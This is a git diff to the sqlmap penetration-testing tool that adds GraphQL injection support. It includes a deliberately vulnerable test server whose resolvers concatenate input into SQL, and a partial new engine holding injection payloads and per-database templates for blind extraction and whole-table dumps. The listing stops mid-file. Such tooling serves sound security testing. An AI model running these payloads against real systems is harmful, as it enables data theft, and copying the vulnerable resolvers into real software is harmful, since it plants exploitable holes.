1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -43214ecb0101bce72eb243c91b90db34693ebfd485d6c111a4ae22591ff7800b extra/vulnserver/vulnserver.py +faaaa586baa4df245b8780a1a808ebf07e3027ce4245ded3274d908c49e1eecd extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -0c6433b289094d37f295238699042a34a6ab950bb3d11f74fe9a83d30bb7f4bd lib/controller/checks.py -ea0fdf6bcda59aae4d093bada965654a0cd940227c2dbdf62b6ded79baa8dfad lib/controller/controller.py +284b5b056f048e5951c43605965f6758cb9cefa54ca30d818b2c1d1c6713fb91 lib/controller/checks.py +b1e89bff221cc907f5033bae941bf7929de9490f5dcdf2747cba676acd2da95b lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py @@ -181,7 +181,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -056930fba3cf9827f97d280bc38ac785c93108eb84c922f5f39723bb04dcf403 lib/core/optiondict.py +1b03686e1aa916ccad3cd86b8e4e6ea4baca5e30e05bf86a56f8df8dd4f44ba6 lib/core/optiondict.py 4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -189,18 +189,18 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ca14e55b4d49a9b9f4e547180828030e4fcc51176dc9036879dbdae05919dd02 lib/core/settings.py +7032c06dba29cfc35330e022823b778aa87849d5e92a33f4daff2a364d0c9ecd lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -e453904a50372216b09146ad9f11cdced2323c10f49c3d866238cc044dcb2cce lib/core/testing.py +b63a8c4caed56796010e9b438ae6b4c398d4c4ed48d74b0a1a270302e0ce87ca lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -223badcfd102cdf3313411b63d09b6c59599d58dfc40d27409b1bfa2efc1aa8f lib/parse/cmdline.py +c515041ee2d50aded9afa371de47c3c44c81b30546fb1f6f170b2169ae5e64b4 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -239,6 +239,8 @@ a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques 74ca78082dcd20b3faf07cc944cd65ea552996df40e6fb58d0a011b262528456 lib/techniques/dns/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py 5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/graphql/__init__.py +a1c5ec208843eb93e0fab40daac090aa3bf914a7dd0afb0f7c55c2db4db8d72b lib/techniques/graphql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py d62b28bf9f1544e65a1017994402f484166f4d64a1efb724351b15e27b851990 lib/techniques/nosql/inject.py @@ -594,6 +596,7 @@ ed5a0e453b811dc3dcc5ca28e14a9d7552aacaa7e316e1bca1b042dc5939e204 tests/test_dns 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py +4a5f9392b7fec7b40c4d865b83306b58b76f3423cebc2876e6e75fb91b037202 tests/test_graphql.py 8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 25e4bb3a960..c13a955265b 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -246,6 +246,232 @@ def waf_score(value, ua=None, level=0): retVal += WAF_SCANNER_UA_WEIGHT return retVal +# --- GraphQL endpoint (vulnerable Apollo-style, backed by the same SQLite database) ---------- + +# Hard-coded introspection response matching the schema below. Every GraphQL tool (including +# sqlmap's --graphql engine) uses this to discover fields, arguments, and types. +def _graphql_introspection(): + return { + "data": { + "__schema": { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "subscriptionType": None, + "directives": [], + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "search", "args": [ + {"name": "term", "defaultValue": None, "type": {"kind": "SCALAR", "name": "String", "ofType": None}} + ], "type": {"kind": "LIST", "name": None, "ofType": {"kind": "OBJECT", "name": "User", "ofType": None}}}, + {"name": "login", "args": [ + {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + {"name": "password", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "Mutation", "fields": [ + {"name": "updateUser", "args": [ + {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}}, + {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "INPUT_OBJECT", "name": "UpdateUserInput", "inputFields": [ + {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}}, + {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ]}, + {"kind": "SCALAR", "name": "Int"}, + {"kind": "SCALAR", "name": "String"}, + {"kind": "SCALAR", "name": "Boolean"}, + {"kind": "SCALAR", "name": "Float"}, + {"kind": "SCALAR", "name": "ID"}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}}, + {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "surname", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "AuthPayload", "fields": [ + {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + ] + } + } + } + + +def _graphql_arg(raw): + """Parse a single GraphQL argument value: strip quotes from strings, keep numbers as-is""" + raw = raw.strip() + if raw.startswith('"') and raw.endswith('"'): + return raw[1:-1].replace('\\"', '"') + return raw + + +def _graphql_match(text, start): + """Index just past the bracket matching the one at text[start] ('(' or '{'), skipping over + double-quoted strings so brackets inside argument literals (e.g. an injected SQL payload) and + nested selection sets do not throw off the balance.""" + + pairs = {'(': ')', '{': '}'} + opener, closer = text[start], pairs[text[start]] + depth, i, n = 0, start, len(text) + while i < n: + char = text[i] + if char == '"': + i += 1 + while i < n and text[i] != '"': + i += 2 if text[i] == '\\' else 1 + elif char == opener: + depth += 1 + elif char == closer: + depth -= 1 + if depth == 0: + return i + 1 + i += 1 + return n + + +def _graphql_selections(body): + """Split a selection set into its top-level (alias, field, rawArgs) fields, tolerating aliasing, + argument literals carrying brackets/quotes, and nested selection sets (which are skipped over).""" + + identifier = re.compile(r'[A-Za-z_]\w*') + selections, i, n = [], 0, len(body) + while i < n: + while i < n and body[i] in ' \t\r\n,': + i += 1 + match = identifier.match(body, i) + if not match: + i += 1 + continue + name, i = match.group(0), match.end() + + j = i + while j < n and body[j] in ' \t\r\n': + j += 1 + if j < n and body[j] == ':': # 'name' was an alias; the real field follows + j += 1 + while j < n and body[j] in ' \t\r\n': + j += 1 + match = identifier.match(body, j) + if not match: + continue + alias, field, i = name, match.group(0), match.end() + else: + alias, field = None, name + + while i < n and body[i] in ' \t\r\n': + i += 1 + rawArgs = "" + if i < n and body[i] == '(': + end = _graphql_match(body, i) + rawArgs, i = body[i + 1:end - 1], end + + while i < n and body[i] in ' \t\r\n': + i += 1 + if i < n and body[i] == '{': # skip this field's (possibly nested) selection set + i = _graphql_match(body, i) + + selections.append((alias, field, rawArgs)) + return selections + + +def _graphql_resolve(query, variables): + """Minimal GraphQL resolver: parse the query, call the matching resolver for each top-level field, + and return (data_dict_or_None, errors_list). Multiple aliased fields are supported in one request + (alias:field(args){...} ...), so a client can batch independent probes into a single round-trip.""" + + variables = variables or {} + errors = [] + data = {} + + op = "query" + for keyword in ("mutation", "subscription"): + if query.strip().startswith(keyword): + op = keyword + break + + start = query.find('{') + if start == -1: + errors.append({"message": "Cannot parse query", "extensions": {"code": "GRAPHQL_PARSE_FAILED"}}) + return None, errors + + for alias, field, rawArgs in _graphql_selections(query[start + 1:_graphql_match(query, start) - 1]): + key = alias or field + + # Parse arguments + args = {} + for am in re.finditer(r'(\w+)\s*:\s*("(?:[^"\\]|\\.)*"|\$?\w+(?:\.\w+)?)', rawArgs): + name, val = am.group(1), am.group(2) + if val.startswith('$'): + args[name] = variables.get(val[1:], None) + else: + args[name] = _graphql_arg(val) + + try: + if field in ("__typename", "__schema"): + data[key] = op.title() + elif field == "user": + data[key] = _resolver_user(args.get("username")) + elif field == "search": + data[key] = _resolver_search(args.get("term")) + elif field == "login": + data[key] = _resolver_login(args.get("username"), args.get("password")) + elif field == "updateUser": + data[key] = _resolver_updateUser(args.get("id"), args.get("email")) + else: + errors.append({"message": "Cannot query field '%s' on type '%s'. Did you mean 'user', 'search', 'login', or 'updateUser'?" % (field, op.title()), + "extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}}) + except Exception as ex: + # Leak the backend error through the GraphQL error envelope (as many real servers do + # in development mode) -- this drives error-based detection + errors.append({"message": "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex), + "path": [key], "extensions": {"exception": str(ex)}}) + + if not data and not errors: + return None, errors + return data, errors + + +# --- Vulnerable resolvers (direct string concatenation into SQLite) ------------------------ + +def _resolver_user(username): + if not username: + return None + with _lock: + _cursor.execute("SELECT id, name, surname FROM users WHERE name='%s'" % username) + row = _cursor.fetchone() + return {"id": row[0], "name": row[1], "surname": row[2]} if row else None + + +def _resolver_search(term): + with _lock: + _cursor.execute("SELECT id, name, surname FROM users WHERE name LIKE '%%%s%%'" % (term or "")) + rows = _cursor.fetchall() + return [{"id": r[0], "name": r[1], "surname": r[2]} for r in (rows or [])] + + +def _resolver_login(username, password): + if not username or not password: + return None + with _lock: + _cursor.execute("SELECT u.id, u.name, u.surname FROM users u JOIN creds c ON u.id=c.user_id WHERE u.name='%s' AND c.password_hash='%s'" % (username, password)) + row = _cursor.fetchone() + if row: + return {"token": "tok_%d_%s" % (row[0], row[1]), "user": {"id": row[0], "name": row[1], "surname": row[2]}} + return None # returns null in data (boolean oracle: true=object, false=null) + + +def _resolver_updateUser(id_, email): + with _lock: + _cursor.execute("UPDATE users SET surname='%s' WHERE id=%s" % (email, id_)) + _cursor.execute("SELECT id, name, surname FROM users WHERE id=%s" % id_) + row = _cursor.fetchone() + return {"id": row[0], "name": row[1], "surname": row[2]} if row else None + + class ReqHandler(BaseHTTPRequestHandler): def do_REQUEST(self): path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") @@ -339,6 +565,35 @@ def do_REQUEST(self): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url == "/graphql": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + query = self.params.get("query", "") + variables = self.params.get("variables") or {} + + if not isinstance(variables, dict): + try: + variables = json.loads(str(variables)) + except Exception: + variables = {} + + if "__schema" in query: + output = json.dumps(_graphql_introspection()) + else: + data, errors = _graphql_resolve(query, variables) + resp = {} + if errors: + resp["errors"] = errors + if data: + resp["data"] = data + output = json.dumps(resp, default=str) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 128b4123d95..6a9fa8d3404 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -79,6 +79,7 @@ from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FORMAT_EXCEPTION_STRINGS +from lib.core.settings import GRAPHQL_ERROR_REGEX from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import IPS_WAF_CHECK_PAYLOAD @@ -1178,6 +1179,13 @@ def _(page): if conf.beep: beep() + if not conf.graphql and re.search(GRAPHQL_ERROR_REGEX, page or ""): + infoMsg = "heuristic (GraphQL) test shows that %sparameter '%s' appears to be a GraphQL endpoint (rerun with switch '--graphql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + kb.disableHtmlDecoding = False kb.heuristicMode = False diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 32857537608..7b5b0dff3d3 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -504,8 +504,21 @@ def start(): infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) + if conf.graphql and PLACE.GET not in conf.parameters: + # graphqlScan() is self-contained and operates on the GraphQL + # document, not on HTTP parameters. A dummy GET parameter keeps + # _setRequestParams() from appending the URI injection marker ('*') + # to a bare endpoint URL (which would break detection under + # '--batch'); it is discarded by graphqlScan() on entry. + conf.parameters[PLACE.GET] = "x" + setupTargetEnv() + if conf.graphql: + from lib.techniques.graphql.inject import graphqlScan + graphqlScan() + continue + if not checkConnection(suppressOutput=conf.forms): continue diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index ffb03d3fe70..42c187c89b9 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -119,6 +119,7 @@ "Techniques": { "technique": "string", "nosql": "boolean", + "graphql": "boolean", "timeSec": "integer", "uCols": "string", "uChar": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 6ad6cb33d9a..ec1d36c1530 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.160" +VERSION = "1.10.6.161" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -877,6 +877,68 @@ # Upper bound for the length search during NoSQL blind extraction NOSQL_MAX_LENGTH = 1024 +# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql) +GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/graphql/api", "/graph", "/gql") + +# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the +# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their +# fields/arguments/inputFields with type chains, directives, and deprecation metadata. +GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap { + __schema { + queryType { name } + mutationType { name } + subscriptionType { name } + directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } } + types { + kind + name + fields(includeDeprecated: true) { + name + args { + name + defaultValue + type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } + } + type { kind name ofType { kind name ofType { kind name } } } + } + inputFields { + name + defaultValue + type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } + } + enumValues(includeDeprecated: true) { name } + specifiedByURL + } + } +}""" + +# GraphQL error patterns that identify the response as originating from a GraphQL layer (parse, +# validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based +# detection inside the GraphQL engine. +GRAPHQL_PARSE_ERRORS = ( + r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"', + r"\bSyntax Error:\s*[^\"]", + r"\bExpected Name,\s*found\b", + r"\bUnexpected\s+\b", +) +GRAPHQL_VALIDATION_ERRORS = ( + r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"', + r"\bCannot query field\s+\"[^\"]+\"\s+on type\s+\"[^\"]+\"", + r"\bUnknown argument\s+\"[^\"]+\"\s+on field\s+\"[^\"]+\"", + r"\bField\s+\"[^\"]+\"\s+argument\s+\"[^\"]+\"\s+of type\s+\"[^\"]+\"\s+is required\b", + r"\bVariable\s+\"\$[^\"]+\"\s+got invalid value\b", + r"\bExpected type\s+[^,]+,\s*found\b", + r"\bDid you mean\s+\"[^\"]+\"\b", +) +GRAPHQL_APQ_ERRORS = ( + r"\bPersistedQueryNotFound\b", + r"\bPersistedQueryNotSupported\b", +) +GRAPHQL_RUNTIME_ERRORS = ( + r"\bGraphQL\s+(?:resolver\s+)?error\b", +) +GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS) + # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 diff --git a/lib/core/testing.py b/lib/core/testing.py index 0d9a084e7e3..d727f8cbf06 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -89,6 +89,7 @@ def vulnTest(): ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction + ("-u \"graphql\" --graphql --flush-session", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "available tables [2]: users, creds", "dumped table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "graphql scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c6e4205ab38..42f67f7bc66 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -418,6 +418,9 @@ def cmdLineParser(argv=None): techniques.add_argument("--nosql", dest="nosql", action="store_true", help="Test for NoSQL injection (e.g. MongoDB, CouchDB, Neo4j)") + techniques.add_argument("--graphql", dest="graphql", action="store_true", + help="Test for GraphQL injection (introspection, field/argument fuzzing, SQL/NoSQL payload families)") + techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) diff --git a/lib/techniques/graphql/__init__.py b/lib/techniques/graphql/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/graphql/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py new file mode 100644 index 00000000000..f240443d049 --- /dev/null +++ b/lib/techniques/graphql/inject.py @@ -0,0 +1,1165 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import json +import re +import time + +from collections import namedtuple +from collections import OrderedDict + +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import POST_HINT +from lib.core.settings import ERROR_PARSING_REGEXES +from lib.core.settings import GRAPHQL_ENDPOINT_PATHS +from lib.core.settings import GRAPHQL_ERROR_REGEX +from lib.core.settings import GRAPHQL_INTROSPECTION_QUERY +from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + +# Improbable literal used to build always-true/never-match payloads. Randomized per run (like +# NOSQL_SENTINEL) so it never becomes a static signature a WAF can pin a blocking rule on. +SENTINEL = randomStr(length=10, lowercase=True) + +# Maximum characters recovered for a single blind-inferred scalar (banner, user, table list, ...) +MAX_LENGTH = 1024 + +# Higher ceiling for a whole-table dump (its rows are concatenated into one scalar before extraction) +DUMP_MAX_LENGTH = 8192 + +# Printable-ASCII codepoint bounds for blind character inference +CHAR_MIN = 0x20 +CHAR_MAX = 0x7e + +# Number of independent predicates packed into a single aliased GraphQL document (batched inference) +BATCH_SIZE = 40 + +# Column/row separators woven into a GROUP_CONCAT/STRING_AGG table dump (printable, improbable in data) +COL_SEP = "~~~" +ROW_SEP = "^^^" + +# GraphQL scalar types mapped to injection strategy (None = skip) +SCALAR_STRATEGY = { + "String": "string", + "ID": "id_dual", + "Int": "numeric", + "Float": "numeric", +} + +# SQL error-inducing payloads (probe for backend DBMS leakage through the GraphQL errors envelope) +_SQL_ERROR_PAYLOADS = ("'", "''", "'\"", "')", "1') OR ('1'='1") + +# Preliminary SQL boolean-blind probes +_SQL_BOOLEAN_TRUE = "' OR '1'='1" +_SQL_BOOLEAN_FALSE = "' AND '1'='2" + +# NoSQL operator probes (for NoSQL-backed GraphQL resolvers) +_NOSQL_NE = '{"$ne": null}' +_NOSQL_IN = '{"$in": ["%s"]}' % SENTINEL + +# Minimum content difference for a boolean oracle to be considered reliable +_MIN_RATIO_DIFF = 0.15 + +# Cache for INPUT_OBJECT field definitions, populated during schema walks +_inputFields = {} + + +# --- Backend SQL dialect table ---------------------------------------------- + +# Per-DBMS building blocks for blind inference and enumeration, driven by the boolean/time oracle +# established on a slot. `fingerprint` is a predicate true only on that back-end (it errors -> falsy +# elsewhere). `length`/`ordinal` render a scalar-extraction sub-expression. `delay` wraps a condition +# in an inline conditional sleep (None where the engine offers none, e.g. SQLite). `banner`/ +# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns`/`rows` build the +# per-table column list and a single-scalar dump of every row (cells joined COL_SEP, rows ROW_SEP). +Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay", + "banner", "currentUser", "currentDb", + "tables", "columns", "rows")) + + +def _sqliteRows(columns, table): + cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns] + body = ("||'%s'||" % COL_SEP).join(cells) + return "(SELECT GROUP_CONCAT(%s,'%s') FROM %s)" % (body, ROW_SEP, table) + + +def _mysqlRows(columns, table): + cells = ["COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns] + body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join(cells)) + return "(SELECT GROUP_CONCAT(%s SEPARATOR '%s') FROM %s)" % (body, ROW_SEP, table) + + +def _pgsqlRows(columns, table): + cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns] + body = ("||'%s'||" % COL_SEP).join(cells) + return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table) + + +def _mssqlRows(columns, table): + cells = ["COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns] + body = ("+'%s'+" % COL_SEP).join(cells) + return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table) + + +DIALECTS = OrderedDict(( + ("SQLite", Dialect( + fingerprint="SQLITE_VERSION() IS NOT NULL", + length=lambda expr: "LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "UNICODE(SUBSTR((%s),%d,1))" % (expr, pos), + delay=None, + banner="SQLITE_VERSION()", + currentUser=None, + currentDb=None, + tables="(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%')", + columns=lambda table: "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('%s'))" % table, + rows=_sqliteRows)), + ("Microsoft SQL Server", Dialect( + fingerprint="@@VERSION LIKE '%Microsoft%'", + length=lambda expr: "LEN((%s))" % expr, + ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + delay=None, + banner="@@VERSION", + currentUser="SYSTEM_USER", + currentDb="DB_NAME()", + tables="(SELECT STRING_AGG(name,',') FROM sys.tables)", + columns=lambda table: "(SELECT STRING_AGG(name,',') FROM sys.columns WHERE object_id=OBJECT_ID('%s'))" % table, + rows=_mssqlRows)), + ("PostgreSQL", Dialect( + fingerprint="(SELECT version()) LIKE 'PostgreSQL%'", + length=lambda expr: "LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + delay=lambda cond, secs: "(CASE WHEN (%s) THEN (SELECT 1 FROM pg_sleep(%d)) ELSE 0 END)" % (cond, secs), + banner="version()", + currentUser="CURRENT_USER", + currentDb="CURRENT_DATABASE()", + tables="(SELECT STRING_AGG(table_name,',') FROM information_schema.tables WHERE table_schema='public')", + columns=lambda table: "(SELECT STRING_AGG(column_name,',') FROM information_schema.columns WHERE table_name='%s')" % table, + rows=_pgsqlRows)), + ("MySQL", Dialect( + fingerprint="@@VERSION_COMMENT IS NOT NULL", + length=lambda expr: "CHAR_LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + delay=lambda cond, secs: "IF((%s),SLEEP(%d),0)" % (cond, secs), + banner="VERSION()", + currentUser="CURRENT_USER()", + currentDb="DATABASE()", + 